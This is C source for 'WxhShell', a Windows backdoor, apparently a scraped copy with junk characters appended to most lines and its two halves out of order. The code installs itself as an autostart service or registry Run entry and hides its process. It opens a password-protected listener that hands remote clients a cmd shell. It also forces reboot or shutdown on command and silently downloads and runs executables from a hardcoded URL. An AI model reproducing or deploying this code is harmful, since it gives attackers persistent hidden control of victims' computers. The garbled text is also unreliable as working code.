    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k6o8'6wN  
    if(Boot(SHUTDOWN)) M1*bT@ 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *8)va  
    else { `QW=<Le?  
    closesocket(wsh); "J+4  
    ExitThread(0); gA@Zx%0j  
    } `c-omNu  
    break; =1,1}OucP  
    } %&V%=-O_7  
  // 获取shell [8[<4~{  
  case 's': { {0-rnSjC  
    CmdShell(wsh); )E^4U 9v),  
    closesocket(wsh); jcBZ#|B7;  
    ExitThread(0); 3Z&!zSK^  
    break; y%kZ##  
  } $z 5kA9  
  // 退出 \/V#,O  
  case 'x': { !H9^j6|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QgQ$>  
    CloseIt(wsh); ~<s^HP2U{  
    break; =_ b/ g  
    } J1~E*t^  
  // 离开 n5^57[(  
  case 'q': { U F*R1{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `r~3Pf).4  
    closesocket(wsh); tAI v+L  
    WSACleanup(); VYO1qj  
    exit(1); v_WQ<G?  
    break; Ek6 g?rj_  
        } 8Gnf_lkI  
  } &;L=f;   
  } -V[x q  
P t/]Z<VL  
  // 提示信息 +{I" e,Nk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h8(>$A-  
} e t@:-}  
  } %b4tyX:N0  
p3{Ff5FZ  
  return; :2,NKdD  
} SPt/$uYJ  
5s`r&2 w  
// shell模块句柄 8UqH"^9.Q7  
int CmdShell(SOCKET sock) h& }iH  
{ 7C,giCYU  
STARTUPINFO si; eNVuw:Q+  
ZeroMemory(&si,sizeof(si)); ?# _{h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =y)K er  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9:-7.^`P  
PROCESS_INFORMATION ProcessInfo; zp<B,Ls  
char cmdline[]="cmd"; QHf&Z*Xtl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .8!\6=iJB  
  return 0; q^Oj/ws  
} B%MdJ D>  
oZ d3H  
// 自身启动模式 qq)}GK8K&  
int StartFromService(void) }zQgS8PQH  
{  HG?+b  
typedef struct %!(C?k!\  
{ $[,4Ib_|  
  DWORD ExitStatus; hd~#I<8;2  
  DWORD PebBaseAddress; m|{^T/kIbQ  
  DWORD AffinityMask; F@f4-NR>  
  DWORD BasePriority; dM= &?g  
  ULONG UniqueProcessId; T]-MrnO  
  ULONG InheritedFromUniqueProcessId; "#E<Leh'  
}   PROCESS_BASIC_INFORMATION; NjOUe?BQ  
 QSY>8P  
PROCNTQSIP NtQueryInformationProcess; #fns3=/ H  
/o'lGvw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'xx M0Kn`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H${LF.8  
Mh5> hD  
  HANDLE             hProcess; =f{v:n6  
  PROCESS_BASIC_INFORMATION pbi; p$'S\W|  
2tpuv(H;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hxgc9Fis  
  if(NULL == hInst ) return 0; /3~L#jS  
d8w3Oz54  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d-+jb<C&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TaBya0-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d9;&Y?fp  
%gAT\R_f  
  if (!NtQueryInformationProcess) return 0; nk%v|ZxoFv  
 ,S=[#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dVEs^ZtI  
  if(!hProcess) return 0; __.MS6"N  
FrXP"U}Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7` ;sX?R  
gI;"PkN  
  CloseHandle(hProcess); 'A7!@hVy  
D4 8e30  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xS/W}-dPv  
if(hProcess==NULL) return 0; bN zb#P#hP  
goIv m:?  
HMODULE hMod; bAZoi0LR  
char procName[255]; uo]xC+^  
unsigned long cbNeeded; @`4T6eL5  
/)Cfm1$ic  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |di(hY|  
nJN-U+)u  
  CloseHandle(hProcess); 3u/JcU-<  
)/;+aDk  
if(strstr(procName,"services")) return 1; // 以服务启动 {k_\1t(/  
W4^zKnH  
  return 0; // 注册表启动 =?6c&Z  
} rAu% bF  
1#,4P1"  
// 主模块 D:U6r^c  
int StartWxhshell(LPSTR lpCmdLine) F~ 5,-atDM  
{ )tI^2p{  
  SOCKET wsl; u_^mN9h  
BOOL val=TRUE; 8c)GUx  
  int port=0; W-s6+ DY  
  struct sockaddr_in door; {S{%KkAV  
72OqXa*  
  if(wscfg.ws_autoins) Install(); BJux5Nh  
mufGv%U2  
port=atoi(lpCmdLine); j9 >[^t3U  
mcd{:/^?  
if(port<=0) port=wscfg.ws_port; Ur xiaE  
Ra|P5  
  WSADATA data; D#&9zR86F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U*=E(l  
1,+<|c)T?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W:RjWn@<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uAA2G\3  
  door.sin_family = AF_INET; o(SPT?ao~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /=p[k^A  
  door.sin_port = htons(port); E,6|-V;?  
F}u'A,Hc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P! +Gwm{  
closesocket(wsl); n>,:*5"G  
return 1; 5,gT|4|B\g  
} ,6{z  
/(JG\Ut  
  if(listen(wsl,2) == INVALID_SOCKET) { A,_O=hA2I  
closesocket(wsl); + kKanm[!v  
return 1; -H6[{WVW!  
} t,f ec>.  
  Wxhshell(wsl); >g{&Qx`&  
  WSACleanup(); ^5E9p@d"J  
Nj4CkMM[3  
return 0; g9" wX?*  
/ rc[HbNg.  
} d78 [(;  
^yPZ$Q  
// 以NT服务方式启动 X+]>pA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x9 Z89Gwi  
{ Qz[^J  
DWORD   status = 0; Kz42AC  
  DWORD   specificError = 0xfffffff; 0vj CSU-X  
5bt>MoKxv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |)!f".`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BF W b0;+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d MR?pbD  
  serviceStatus.dwWin32ExitCode     = 0; $!*>5".A  
  serviceStatus.dwServiceSpecificExitCode = 0; 9s"st\u 4  
  serviceStatus.dwCheckPoint       = 0; u$R5Q{H_  
  serviceStatus.dwWaitHint       = 0; i1uoYb?4(I  
E\!X$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vT Eq T  
  if (hServiceStatusHandle==0) return; 6 ^3RfF^W  
,)[9RgsE  
status = GetLastError(); 7_2D4CI  
  if (status!=NO_ERROR) m&gd<rt/  
{ Z}$sY>E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1M&Lb. J6  
    serviceStatus.dwCheckPoint       = 0; G~5pMyOR  
    serviceStatus.dwWaitHint       = 0; L4Jm8sy{  
    serviceStatus.dwWin32ExitCode     = status; 3cghg._  
    serviceStatus.dwServiceSpecificExitCode = specificError; >}*W$i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <u\Hy0g  
    return; o08g]a  
  } HZAT_  
Z2M(euzfi3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /GGyM]k3  
  serviceStatus.dwCheckPoint       = 0; X0 |U?Ib?  
  serviceStatus.dwWaitHint       = 0; et+lL"&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xZ {6!=4!  
} DYf2V6'  
iXm&\.%  
// 处理NT服务事件,比如:启动、停止 v<v;ZR)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O6Py  
{ h&j2mv(  
switch(fdwControl) F[}#7}xjA  
{ r[V%DU$dj  
case SERVICE_CONTROL_STOP: @}4>:\es  
  serviceStatus.dwWin32ExitCode = 0; Hy3J2p9.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4N,[Gs<7  
  serviceStatus.dwCheckPoint   = 0; Hes!uy  
  serviceStatus.dwWaitHint     = 0; x >ah,  
  { Fl.?*KBz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v>LK+|U  
  } 6c]4(%8  
  return; #k9&OS?  
case SERVICE_CONTROL_PAUSE: 3yRvs;nWS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &$|~",  
  break; #-YbZ  
case SERVICE_CONTROL_CONTINUE: Sk53Lc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7Y@]o=DIc  
  break; M@es8\&S.  
case SERVICE_CONTROL_INTERROGATE: 4|_xz; i  
  break; ^4`x:6m  
}; ynA_Z^j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X i"9y @  
} 7kV$O(4  
,5zY1C==Ut  
// 标准应用程序主函数 N>3{!K>/Y:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =iW hK~S  
{ sP^:*B0  
>e!J(4.-  
// 获取操作系统版本 O83J[YuzjN  
OsIsNt=GetOsVer(); 4Vi*Qa_,y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0z \KI?kd  
/ZiMD;4@y  
  // 从命令行安装 9)+!*(D  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8US35t:M  
}BS EK<W  
  // 下载执行文件 \ R}I4'  
if(wscfg.ws_downexe) { D>jtz2y=D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vVtkB$]L  
  WinExec(wscfg.ws_filenam,SW_HIDE); {s@!N  
} " oxUKT  
H$ nzyooh  
if(!OsIsNt) { 8-+# !]  
// 如果时win9x,隐藏进程并且设置为注册表启动 3q/"4D  
HideProc(); xKL(:ePS  
StartWxhshell(lpCmdLine); / P@P1l|I  
} !N+{X\+  
else _lI(!tj(  
  if(StartFromService()) 0*]0#2Z  
  // 以服务方式启动 %62|dhl6  
  StartServiceCtrlDispatcher(DispatchTable); w$$pTk|&n  
else 9u=]D> kb  
  // 普通方式启动 O(evlci  
  StartWxhshell(lpCmdLine); -U> )B  
o&q:b9T  
return 0; 3U?gw!M>  
} =^M Q 4  
fATnza  
evEdFY  
85"Szc-#  
=========================================== H '5zl^8I  
-"yma_  
/ tkV/  
.vmCKZ  
^&F.T-(A  
g[b;1$  
" pPsTgGai  
'GW~~UhdW  
#include <stdio.h> _Hq)@A I   
#include <string.h> M| }?5NS  
#include <windows.h> ( q*/=u  
#include <winsock2.h> .gNJY7`b  
#include <winsvc.h> H RahBTd(z  
#include <urlmon.h> BpFX e7  
^,'KmZm=  
#pragma comment (lib, "Ws2_32.lib") s#8}&2#l  
#pragma comment (lib, "urlmon.lib") ve/.q^JeJ  
2bXCFv7}  
#define MAX_USER   100 // 最大客户端连接数 3NwdE/x\  
#define BUF_SOCK   200 // sock buffer q=cnY+p>  
#define KEY_BUFF   255 // 输入 buffer toG- Dz&  
j5hQ;~Fa|  
#define REBOOT     0   // 重启 ,UVd+rY}  
#define SHUTDOWN   1   // 关机 r^s$U,e#~  
 iU{\a,  
#define DEF_PORT   5000 // 监听端口 >PWDo  
:`yW^b  
#define REG_LEN     16   // 注册表键长度 !=vsY]  
#define SVC_LEN     80   // NT服务名长度 %MtaWZ  
:q1j?0 {2N  
// 从dll定义API bneP>Bd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A{{rNbCK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z~ q="CA4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0 n{+_   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =v! 8i  
'&AeOn  
// wxhshell配置信息 V-%jSe<  
struct WSCFG { o9D#d\G  
  int ws_port;         // 监听端口 nm|"9|/  
  char ws_passstr[REG_LEN]; // 口令 OlW5k`B  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5?#AS#TD'  
  char ws_regname[REG_LEN]; // 注册表键名 .Pe^u%J6F  
  char ws_svcname[REG_LEN]; // 服务名 ,mp^t2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $f"Ce,f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _}H`(d%N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !M6Km(>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 's8LrO(=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -> 'q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j}%C;;MPH  
c@O7,y:`I  
}; g{?{N  
>\Iy <M  
// default Wxhshell configuration Em<J{`k6  
struct WSCFG wscfg={DEF_PORT, 5n2}|V$VqP  
    "xuhuanlingzhe", a,t]>z95  
    1, t(^Lh.<a  
    "Wxhshell", {y!77>Q/  
    "Wxhshell", rj eKG-Z@  
            "WxhShell Service", :n}t7+(>U  
    "Wrsky Windows CmdShell Service", UD'e%IVw  
    "Please Input Your Password: ", ltl(S Ii  
  1, +P*,i$MV  
  "http://www.wrsky.com/wxhshell.exe", y9GaxW* &  
  "Wxhshell.exe" L#T`h}1Z  
    }; vdulrnGqL  
[+dTd2uZ<\  
// 消息定义模块 ~:4Mf/Ca  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]\=M$:,RZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8{.:$T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lgCOp%>  
char *msg_ws_ext="\n\rExit."; OB+I.qlHP  
char *msg_ws_end="\n\rQuit."; sgeME^v  
char *msg_ws_boot="\n\rReboot..."; rI]n4>k{  
char *msg_ws_poff="\n\rShutdown..."; D7N` %A8   
char *msg_ws_down="\n\rSave to "; {<^PYN>`  
'6>nXp?)r  
char *msg_ws_err="\n\rErr!"; 4d]T`  
char *msg_ws_ok="\n\rOK!"; ])T_&%  
rI1;>/Ir  
char ExeFile[MAX_PATH]; }~Y#N  
int nUser = 0;  0c:j wtf  
HANDLE handles[MAX_USER]; 7[7Sm^Tw  
int OsIsNt; 9fb"R"(M  
~F]If\b  
SERVICE_STATUS       serviceStatus; wW;!L =j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jDM^e4U.l  
r`=!4vY2  
// 函数声明 z9*7fT  
int Install(void);  N5GQ2V  
int Uninstall(void); -}<W|r  
int DownloadFile(char *sURL, SOCKET wsh); cW, 6 MAQo  
int Boot(int flag); R$ 40cW3`  
void HideProc(void);  ^pZ\:  
int GetOsVer(void); G0$,H(]~  
int Wxhshell(SOCKET wsl); |FD-q.AV  
void TalkWithClient(void *cs); !*|`-woE  
int CmdShell(SOCKET sock); !TuMrA *  
int StartFromService(void); Si%K|$?@  
int StartWxhshell(LPSTR lpCmdLine); 3Q(#2tL=  
rsvGf7C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @k2nID^>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -Z%B9ql'  
9/S-=VOe.t  
// 数据结构和表定义 U_c9T>=  
SERVICE_TABLE_ENTRY DispatchTable[] = s@bo df&  
{ X5D}<J2"  
{wscfg.ws_svcname, NTServiceMain}, H`ZUI8-  
{NULL, NULL} fNaS?tV)  
}; ,a,coeL  
T#sKld  
// 自我安装 liq9P,(  
int Install(void) 'Sjcm@ILm  
{ cw{[% 7  
  char svExeFile[MAX_PATH]; }<kpvd+ps=  
  HKEY key; s4c2  
  strcpy(svExeFile,ExeFile); lGZ^ 8  
3 a G?^z  
// 如果是win9x系统,修改注册表设为自启动 vL7 JzSU_  
if(!OsIsNt) { 8wqHr@}p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d^WEfH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [SJ*ks,]  
  RegCloseKey(key); f#UT~/~bL2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }-R|f_2Hp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vrD]o1F  
  RegCloseKey(key); Yl#r9TM  
  return 0; ca1A9fvo  
    } $k|k5cP8x  
  } }l>0m  
} &8 ~+^P1w  
else { hqVFb.6[  
H`;q@  
// 如果是NT以上系统,安装为系统服务 Fh4kd>1 D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a$SGFA}V  
if (schSCManager!=0) 14p <0BG  
{ fWywegh  
  SC_HANDLE schService = CreateService Zi fAn  
  ( T Prqb  
  schSCManager, wh@;$s"B  
  wscfg.ws_svcname, C&m[/PJ~l  
  wscfg.ws_svcdisp, w QX,a;Br  
  SERVICE_ALL_ACCESS, -*u7MFq_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /=}w%-;/;  
  SERVICE_AUTO_START, b*xw=G3%  
  SERVICE_ERROR_NORMAL, >>voLDDd  
  svExeFile, /8i3I5*  
  NULL, 7 Ld5  
  NULL, X rVF %  
  NULL, tTB,eR$  
  NULL, Eh)PZvH  
  NULL |P si?'4  
  ); c1?_L(  
  if (schService!=0) )8:Ltn%  
  {  cf#2Wg)  
  CloseServiceHandle(schService); !A )2<<4  
  CloseServiceHandle(schSCManager); 9""e*-;Mi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ? -PRS.=%  
  strcat(svExeFile,wscfg.ws_svcname); l* =\0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i[_WO2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C$~2FTx  
  RegCloseKey(key); ZzNp#FrX"  
  return 0; x4PA~R  
    } c_ e2'K:  
  } fG107{!g=  
  CloseServiceHandle(schSCManager); db%o3>>e  
} ]4m;NId  
} ;x*_h  
~5[#c27E9  
return 1; 9H9 P'lx9  
} LwV4p6A  
=1noT)gC R  
// 自我卸载 j>(O1z 7  
int Uninstall(void) ) N*,cTE  
{ 0L_ JP9e  
  HKEY key; N|OI~boV%  
$ \j/s:Y  
if(!OsIsNt) { G'oMZb ({=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x roo_  
  RegDeleteValue(key,wscfg.ws_regname); `;yfSoY  
  RegCloseKey(key); ?32gug\i'}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iX]Vkx  
  RegDeleteValue(key,wscfg.ws_regname); A~_*vcz  
  RegCloseKey(key); "&s9;_9  
  return 0; ]3xb Q1  
  } (*>%^C?  
} x$o?ckyH  
} G=R`O1-3  
else { ~ [ k0ay  
88]V6Rm9[*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nm)H\i  
if (schSCManager!=0) 8X,dVX5LT  
{ 1&JPyW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tONX<rA|]  
  if (schService!=0) 9?5'>WO  
  { b*w@kLLN  
  if(DeleteService(schService)!=0) { ?6;9r[ p  
  CloseServiceHandle(schService); W_:3Sj l'  
  CloseServiceHandle(schSCManager); i^9,.$<1  
  return 0; =]k0*\PS  
  } >?/Pl"{b  
  CloseServiceHandle(schService); cn62:p]5  
  } m5c?A+@fZ  
  CloseServiceHandle(schSCManager); % ~eIx=s  
} tI42]:z  
} -? _#Yttu  
AI{Tw>hZ  
return 1; ;m<22@,E&  
} -][~_Hd{  
SvZ~xTit  
// 从指定url下载文件 ^O#>LbM"x  
int DownloadFile(char *sURL, SOCKET wsh) M3m!u[6|  
{ N~rA/B]T  
  HRESULT hr; 0!<qfT a  
char seps[]= "/"; TR;"&'#k  
char *token; or~2r8  
char *file; }HB>Zb5  
char myURL[MAX_PATH]; 3q'["SS  
char myFILE[MAX_PATH]; *$K_Tii  
b.mcP@  
strcpy(myURL,sURL); 2a=3->D&  
  token=strtok(myURL,seps); us j:I`>  
  while(token!=NULL) >Q5et1c  
  { ?VUU[h8"v5  
    file=token; k!?sHUAj  
  token=strtok(NULL,seps); d}@b 3   
  } K/xn4N_UX  
YfRjr  
GetCurrentDirectory(MAX_PATH,myFILE); t1Ty.F)r  
strcat(myFILE, "\\"); nHAET  
strcat(myFILE, file); eh\_;2P  
  send(wsh,myFILE,strlen(myFILE),0); S#h-X(4  
send(wsh,"...",3,0); ~ _ ogeD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2/XrorV  
  if(hr==S_OK) b 6kDkE  
return 0; s7(NFX5  
else j<"@ Y7  
return 1; /e/%mo  
k P]'  
} _}bs0 kIz  
 cs+;ijp  
// 系统电源模块 b |SDg%e  
int Boot(int flag) 5;WESk  
{ s fD@lW3  
  HANDLE hToken; S vTd#>ke  
  TOKEN_PRIVILEGES tkp; #mT\B[4h  
.r ,wc*SF  
  if(OsIsNt) { Pz\4#E]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (G1KMy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8jBrD1  
    tkp.PrivilegeCount = 1; @:,B /B;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f.yvKi.Cm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k^VL{z:EWB  
if(flag==REBOOT) { Q$Q>pV;uH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zR@4Z>6   
  return 0; azhilUD8  
} v11Uw?CM  
else { ~F [V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %C[#:>'+  
  return 0; RSfB9)3D  
} Z "mqH  
  } 6!39t  
  else { NUO#[7OK+x  
if(flag==REBOOT) { CvOji 1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0r_3:#Nn  
  return 0; (YV]T!q  
} qjr:(x/  
else { scc+r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 84f(BE  
  return 0; d/"%fpp^0G  
} XE#a#  
} CMhl*dH  
6o:b(v&Oo  
return 1; PF+F^;C  
} wI5(`_l{G  
ahh&h1q7|  
// win9x进程隐藏模块 3<XP/c";  
void HideProc(void) wZUZ"Y}9  
{ $.Ia;YBf  
eoj(zY3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $~3?nib"j  
  if ( hKernel != NULL ) 2y"L&3W  
  { iv!;gMco  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yt!o Hn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Bh7mF-1  
    FreeLibrary(hKernel); QBYY1)6S,  
  } V3S"LJ  
uQhI)  
return; `uwSxt  
} qdPmTaak  
W-RqooEv  
// 获取操作系统版本 lRANXM  
int GetOsVer(void) /Moyn"Kj{  
{ v)j3YhY  
  OSVERSIONINFO winfo; H'"=C&D~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hg~8Td**  
  GetVersionEx(&winfo); >qy$W4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j'uzjs[  
  return 1; ]\1H=g%Ou  
  else cy64xR BB  
  return 0; Qef5eih  
} M7fPaJKL  
IKrojK8-?  
// 客户端句柄模块 {1"kZL  
int Wxhshell(SOCKET wsl) u0Bz]Ux/Q  
{ pzT,fmfk  
  SOCKET wsh; K_Pbzj4(P  
  struct sockaddr_in client; csFLBP  
  DWORD myID; %N #A1   
1f+z[ad&^  
  while(nUser<MAX_USER) :IX_|8e ^  
{ ^\oMsU5(  
  int nSize=sizeof(client); &s8vmUt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D!DL6l`  
  if(wsh==INVALID_SOCKET) return 1; 3o2x&v  
kmg/hNtN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \IhHbcF`d  
if(handles[nUser]==0) ;uho.)%N`F  
  closesocket(wsh); -]Ny-[P  
else yJ:rry  
  nUser++; F Jp<J  
  } 7\AoMk}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m;J'y2h =$  
vkLKzsN' ]  
  return 0; 6{w'q&LYcE  
} \;+TZ1i_  
0}` 0!Kv  
// 关闭 socket N^{}Qvrr  
void CloseIt(SOCKET wsh) _oHxpeM  
{ P\y ZcL  
closesocket(wsh); %0zp`'3Y  
nUser--; V)fF|E~0  
ExitThread(0); GP(nb,  
} 12V-EG i  
#~o<9O  
// 客户端请求句柄 Hf +oG  
void TalkWithClient(void *cs) N(kSE^skOa  
{ ?X+PNw|pf  
Y%!k'\n[2  
  SOCKET wsh=(SOCKET)cs; {wl7&25  
  char pwd[SVC_LEN]; -bgj<4R$p  
  char cmd[KEY_BUFF]; cK,&huk  
char chr[1]; k]9y+WC2  
int i,j; Jsa;pG=3&  
tmQ,>   
  while (nUser < MAX_USER) { ;*{Ls#  
u"F{cA!B  
if(wscfg.ws_passstr) { DH"_.j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R"{P#U,HNO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5,BvT>zFY  
  //ZeroMemory(pwd,KEY_BUFF); jItVAmC=i  
      i=0; Ri3*au/Q  
  while(i<SVC_LEN) { jFl!<ooCo  
F9>"1  
  // 设置超时 \"X_zM  
  fd_set FdRead; QJ%N80  
  struct timeval TimeOut; Q?bC'147O  
  FD_ZERO(&FdRead); )=!|^M  
  FD_SET(wsh,&FdRead); NOFH  
  TimeOut.tv_sec=8; L/)eNZ  
  TimeOut.tv_usec=0; z%nplG'~|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L=5Y^f'aU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); od^o9(.W^  
/2cn`dR,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4YXp,U  
  pwd=chr[0]; )1g\v8XT  
  if(chr[0]==0xd || chr[0]==0xa) { {rzQ[_)EC  
  pwd=0; +1K= ]#a  
  break; \1eWI  
  } zhh6;>P  
  i++; a_z f*;  
    } H|3CZ=U?  
[KMS/'; ]  
  // 如果是非法用户,关闭 socket EiS2-Uh*TT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )h,}v()qc#  
} ^[EXTBk@:  
N_p^DP   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;+n25_9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R8|F qBs  
u&'&E   
while(1) { {~V_6wY g  
-3SRGr  
  ZeroMemory(cmd,KEY_BUFF); u"(2Xer  
6-\C?w A  
      // 自动支持客户端 telnet标准   GPAz#0p  
  j=0; ~Q)Dcit-  
  while(j<KEY_BUFF) { ,UfB{BW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n*hRlL  
  cmd[j]=chr[0]; XeozRfk%J|  
  if(chr[0]==0xa || chr[0]==0xd) { ah!fQLMH  
  cmd[j]=0; h[]3#  
  break; ?xt${?KP  
  } <7oZV^nd *  
  j++; >+S* Wtm5  
    } Yt;@ @xe&  
?e23[  
  // 下载文件 $]b&3_O$N8  
  if(strstr(cmd,"http://")) { TZ:dY x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {\kDu#18Ld  
  if(DownloadFile(cmd,wsh)) 6K5KkEp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :LB< z#M  
  else cWa> rUsF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @"`{Sh`Y$  
  } g%d&>y?1r  
  else { N-GQ\&   
